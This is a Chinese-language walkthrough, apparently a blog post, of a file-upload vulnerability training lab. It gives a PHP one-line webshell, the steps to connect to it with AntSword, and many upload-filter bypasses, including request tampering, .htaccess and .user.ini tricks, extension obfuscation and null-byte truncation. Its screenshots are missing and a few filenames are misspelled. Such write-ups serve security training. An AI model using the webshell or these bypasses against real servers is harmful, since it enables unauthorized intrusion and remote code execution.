1.

这是前端验证代码
如果我们选择一个不合法的文件(比如.php文件),那么前端验证会失败,表单不会提交,也就不会产生向服务器发送的上传请求,因此我们抓不到上传数据包。
我们可以先按要求上传一个jpg文件
可以在记事本里写入一句话木马
<?php @eval($_POST['cmd']); ?>
另存为.jpg(改后缀)
点击上传前打开burp suite 拦截
上传这个文件
会拦截到post请求
画横线的地方,本来是webshell.jpg(就是我们刚创的jpg文件)改成php
然后放行
图片上传成功后右键,在新标签也中打开

会出现这样

把这个路径复制下来
我们打开蚁剑
添加数据
url里把路径黏贴进去
密码是一句话木马中单引号印住的
接下来测试链接
成功会显示

2.

这里是在后端验证文件类型
我们在上传php文件抓到包后![]()
这里content-type就是所验证的类型
把它改成image/jpeg即可
最后放入蚁剑检查
3

这里是黑名单验证和文件名处理
我们上传jpg的文件改成php会不通过
那我们可以尝试黑名单之外的后缀
如php1
如果弹出下载
则在小皮里-设置---配置文件---httpd.cong,点进去阿帕奇
搜AddType

在这里(第三行)加你要上传的文件后缀
还是不行可能是php版本问题
去找一个非nts的版本用到网站
4.
创一个.htaccess后缀的文件
里面放
AddType application/x-httpd-php .jpg .png .gif
在上传的时候先上传.htaccess文件
再上传图片马
5.
创一个.uesr.int后缀的文件
里面放
auto_prepend_file=webshell (文件名+后缀)
在上传的时候先上传.uesr.int文件
再上传图片马
法二:或者直接上传.php文件,抓包,在bp后缀那加.(空格).
6.
把.php文件上传,抓包
在bp后缀那改成大写,或大小写混合
(之后两题类似)
7.
.php文件上传抓包,后缀加空格
8.
.php文件上传抓包,后缀加点
9.
在bp后缀加::$DATA
f访问图片网页时在路径那删了::$DATA
10.
和5一样
11.
![]()
这是个字符串替换函数
把里面的一个东西(需要替换的字符串或数组)![]()
替换成“ ”(空)
如何确定替换的东西呢?
![]()
这个
输入的字符串
而这个东西是从左到右替换的
如,pphphp
第2-4出现了php,就把那个部分换了
剩下php(第一个,第5个和第六个)
bp抓包改后缀为pphphp
12.
前面是获取字符串(文件名如1.php)
![]()
意思是在这个字符串中获取最后一次出现点是在第几位
例:1.php
点在第二位出现
而计算机从0开始
所以是一
而后面又有+1,所以结果是2
![]()
这个是输出php的临时上传路径
php上传文件逻辑是先把文件放到临时路径当中,再把文件从临时路径放到我们想要上传的路径
![]()
下面这行就是我们想要放的路径
后半部分是时间戳和随机序列
拼接方法:首先用get请求获取了一个保存路径最后面拼接的是文件后缀(就是上面那个图片获取的)
![]()
能否把临时路径放到真实路径
抓包修改时最后是通过路径决定的

所以我们改路径
加空可以让后面的信息没用,![]()
所以可以出现php下面有jpg
出现这个在路径上把上传文件后面的东西删了就好
13
12是通过get获取url
13是post
在这里改,输入文件名+后缀再输入一个空格,选中

hex:改成16进制
20改成00
出现404同上
14.
![]()
以2进制打开文件rb是2进制且只读(read b=2)
修改图片马
先用记事本打开,前面输两个空格或者aa(占位,好改)
打开010editor
把前两位改了,保存
也可以在这改
然后写文件包含漏洞,在上传后,打开图片的网页中,路径构造get请求:后面输入问号
?file=./upload/(文件名)(这里的文件名是在新标签也打开图像里得到的)![]()
或者也可以上传正常图片制作图片马

本文参考:bilibili 天欣skyx
csdn Magiskpig
260

被折叠的 条评论
为什么被折叠?



